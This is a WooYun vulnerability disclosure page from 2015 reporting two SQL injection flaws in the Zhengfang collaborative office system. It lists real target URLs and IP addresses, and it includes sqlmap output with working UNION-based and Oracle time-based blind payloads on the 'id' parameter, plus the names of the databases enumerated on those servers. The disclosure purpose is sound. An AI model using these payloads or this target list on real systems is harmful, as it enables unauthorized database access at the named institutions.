当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108531

漏洞标题:正方软件某系统SQL注入漏洞2枚

相关厂商:正方软件

漏洞作者: Taro

提交时间:2015-04-20 12:30

修复时间:2015-07-23 10:24

公开时间:2015-07-23 10:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向第三方安全合作伙伴开放
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

rt...

详细说明:

正方软件协同办公系统
漏洞页面:ldhyhd.do
示例:
1.http://oa.zzptc.com/ldhyhd.do?theAction=edit_bzOne&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: theAction=edit_bzOne&id=1' UNION ALL SELECT NULL,CHR(113)||CHR(109)||CHR(109)||CHR(99)||CHR(113)||CHR(102)||CHR(66)||CHR(105)||CHR(116)||CHR(65)||CHR(113)||CHR(66)||CHR(90)||CHR(118)||CHR(75)||CHR(113)||CHR(108)||CHR(112)||CHR(118)||CHR(113),NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: theAction=edit_bzOne&id=1' AND 7945=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(78)||CHR(70)||CHR(118),5) AND 'GhHk'='GhHk
---
[09:18:57] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OA
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


2.http://58.49.91.221/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: theAction=edit_bzOne&id=1' UNION ALL SELECT NULL,NULL,CHR(113)||CHR(97)||CHR(114)||CHR(107)||CHR(113)||CHR(117)||CHR(111)||CHR(76)||CHR(109)||CHR(75)||CHR(122)||CHR(86)||CHR(89)||CHR(71)||CHR(75)||CHR(113)||CHR(105)||CHR(112)||CHR(99)||CHR(113),NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: theAction=edit_bzOne&id=1' AND 5126=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(120)||CHR(107)||CHR(71),5) AND 'QVsR'='QVsR
---
[09:28:47] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZFOA_BZ303


3.http://202.114.196.7/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1
4.http://oa.zbnc.edu.cn/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1
5.http://222.78.110.150:8888/oa/ldhyhd.do?theAction=edit_bzOne&id=1
注入2
1.http://58.49.91.221/zfoa/arrange.do?theAction=choosePerson&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: theAction=choosePerson&id=1' AND 7435=DBMS_PIPE.RECEIVE_MESSAGE(CHR(68)||CHR(103)||CHR(82)||CHR(87),5) AND 'EeoU'='EeoU
---
[09:50:34] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZFOA_BZ303


2.http://202.114.196.7/zfoa/arrange.do?theAction=choosePerson&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: theAction=choosePerson&id=1' AND 5935=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(118)||CHR(112)||CHR(84),5) AND 'akfp'='akfp
---
[09:48:48] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [1]:
[*] ZFOA_DEV


3.http://oa.zbnc.edu.cn/zfoa/arrange.do?theAction=choosePerson&id=1
4.http://oa.zzptc.com/arrange.do?theAction=choosePerson&id=1
5.http://222.78.110.150:8888/oa/arrange.do?theAction=choosePerson&id=1
6.http://218.21.97.123/zfoa/arrange.do?theAction=choosePerson&id=1

漏洞证明:

修复方案:

版权声明:转载请注明来源 Taro@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-04-24 10:22

厂商回复:

CNVD未直接复现所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

评论